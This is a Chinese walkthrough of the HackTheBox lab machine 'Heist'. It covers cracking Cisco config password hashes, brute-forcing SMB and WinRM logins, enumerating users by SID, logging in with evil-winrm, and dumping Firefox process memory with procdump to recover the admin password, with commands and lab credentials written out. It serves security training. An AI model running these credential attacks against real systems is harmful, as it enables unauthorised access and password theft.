No.4-Heist-难度简单-HTB-walkthrough

攻击机:官方Kali linux 2019 64位
作者:Ikonw

靶机介绍

在这里插入图片描述

一,端口扫描

nmap -sV -sC heist.htb
1
Nmap scan report for heist.htb (10.10.10.149)
Host is up (0.25s latency).
Not shown: 997 filtered ports
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
| http-title: Support Login Page
|_Requested resource was login.php
135/tcp open msrpc Microsoft Windows RPC
445/tcp open microsoft-ds?
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: 4s
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2020-01-25T01:23:05
|_ start_date: N/A
1234567891011121314151617181920212223242526

二,HTTP Enumeration

进入web, 是个登陆页面。 并没有找到CMS, 右下角有个 Login as guest
在这里插入图片描述
发现这是个 类似于 Support desk 的平台。
在这里插入图片描述
点击 Attachment 跳转到 config.txt

version 12.2
no service pad
service password-encryption
!
isdn switch-type basic-5ess
!
hostname ios-1
!
security passwords min-length 12
enable secret 5 $1$pdQG$o8nrSzsGXeaduXrjlvKc91
!
username rout3r password 7 0242114B0E143F015F5D1E161713
username admin privilege 15 password 7 02375012182C1A1D751618034F36415408
!
!
ip ssh authentication-retries 5
ip ssh version 2
!
!
router bgp 100
synchronization
bgp log-neighbor-changes
bgp dampening
network 192.168.0.0Â mask 300.255.255.0
timers bgp 3 9
redistribute connected
!
ip classless
ip route 0.0.0.0 0.0.0.0 192.168.0.1
!
!
access-list 101 permit ip any any
dialer-list 1 protocol ip list 101
!
no ip http server
no ip http secure-server
!
line vty 0 4
session-timeout 600
authorization exec SSH
transport input ssh
1234567891011121314151617181920212223242526272829303132333435363738394041

其中有三行是包含哈希值的

enable secret 5 $1$pdQG$o8nrSzsGXeaduXrjlvKc91  // Type 5 
!
username rout3r password 7 0242114B0E143F015F5D1E161713 //Type 7
username admin privilege 15 password 7 02375012182C1A1D751618034F36415408 //type 7
1234

按照之前所说的,这应该分别CISCO的哈希值。
分别为 type 5 跟 type 7。type 5是有salt过的。
利用网上的工具来进行破解。

在这里插入图片描述
Type 5 的比较麻烦,网上的工具没能找到密码。
找到一个 github脚本
在这里插入图片描述
现在我们已经找到全部的账号和密码

账号 密码
admin $uperP@ssword
rout3r Q4)sJu\Y8qz*A3?d
Hazard stealth1agent

三,拿到shell

尝试使用现有的账号和密码 来登陆网页,但提示需要用邮箱。利用了例子如 admin@heist.htb
也没有进展。

利用metasploit 的smblogin 来进行爆破。
在这里插入图片描述
发现只有 Hazrd:stealth1agent 可以登陆
发现权限都是No Access和READ。

root@xing# smbmap -H 10.10.10.149 -u hazard -p stealth1agent
[+] Finding open SMB ports....
[+] User SMB session establishd on 10.10.10.149...
[+] IP: 10.10.10.149:445 Name: 10.10.10.149
Disk Permissions
---- -----------
ADMIN$ NO ACCESS
C$ NO ACCESS
IPC$ READ ONLY
123456789

IPC$(Internet Process Connection)是共享”命名管道”的资源,它是为了让进程间通信而开放的命名管道,通过提供可信任的用户名和口令,连接双方可以建立安全的通道并以此通道进行加密数据的交换,从而实现对远程计算机的访问。

在这里我们可以利用 READ ONLY 的IPC$来取得本地账号的信息。

利用rpclient来连接

rpcclient -U "Hazard%stealth1agent" heist.htb
1

在这里插入图片描述
我们也可以同样利用SID来获取用户名
sid的后四位是用户的编号,我们可以通过逐渐增加来找到本机的用户名字

lookupsids S-1-5-21-4254423774-1266059056-3197185112-1008
1

在这里插入图片描述
发现多三个用户为 Chase,support,Jason。

另外一个方法是用 impacket (好东西呀)。

root@xing:/opt# locate lookupsid.py
/usr/share/doc/python3-impacket/examples/lookupsid.py

root@xing:/opt# python /usr/share/doc/python3-impacket/examples/lookupsid.py Hazard:stealth1agent@10.10.10.149
Impacket v0.9.20 - Copyright 2019 SecureAuth Corporation

[*] Brute forcing SIDs at 10.10.10.149
[*] StringBinding ncacn_np:10.10.10.149[\pipe\lsarpc]
[*] Domain SID is: S-1-5-21-4254423774-1266059056-3197185112
500: SUPPORTDESK\Administrator (SidTypeUser)
501: SUPPORTDESK\Guest (SidTypeUser)
503: SUPPORTDESK\DefaultAccount (SidTypeUser)
504: SUPPORTDESK\WDAGUtilityAccount (SidTypeUser)
513: SUPPORTDESK\None (SidTypeGroup)
1008: SUPPORTDESK\Hazard (SidTypeUser)
1009: SUPPORTDESK\support (SidTypeUser)
1012: SUPPORTDESK\Chase (SidTypeUser)
1013: SUPPORTDESK\Jason (SidTypeUser)
123456789101112131415161718

尝试了各种组合还是无法登陆smb或者web。
于是决定再扫一遍nmap 看看有没有什么高端口是漏掉的。
发现了5985端口开着

WinRM 是windows 一种方便远程管理的服务;开启winrm service,便于在日常工作中,远程管理服务器,或通过脚本,同时管理多台服务器,来提高工作效率

在这里插入图片描述
这边可以利用一种工具叫evil-winrm 来进行登陆。

有兴趣的可以了解更多
Evil-winRM 远程管理shell

首先,利用metasploit 的 scanner/winrm/winrm_login 模块来爆破帐号和密码。
(这么多帐号和密码 到底哪个密码是哪个呀)。

把新取得的账号 全部保存进 possible_user。
然后根据lookupsid取得的 DOMAIN填写。

在这里插入图片描述

在这里插入图片描述

成功取得有效登陆

Chase:Q4)sJu\Y8qz*A3?d

利用evil-winrm 进行登陆

ruby evil-winrm.rb -i 10.10.10.149 -u Chase -p "Q4)sJu\Y8qz*A3?d"

在这里插入图片描述

四,提权

一番探索后 发现有 firefox 的程序再跑
在这里插入图片描述
利用微软的procdump把 firefox的日志

https://docs.microsoft.com/en-us/sysinternals/downloads/procdump

利用 evil-winrm 上传 procdump.exe 然后执行

upload proxdump.exe
procdump -ma 2892
12

后面用 grep 找出admin 后发现密码。
在这里插入图片描述
使用evil win-rm 登陆后 取到 root flag




root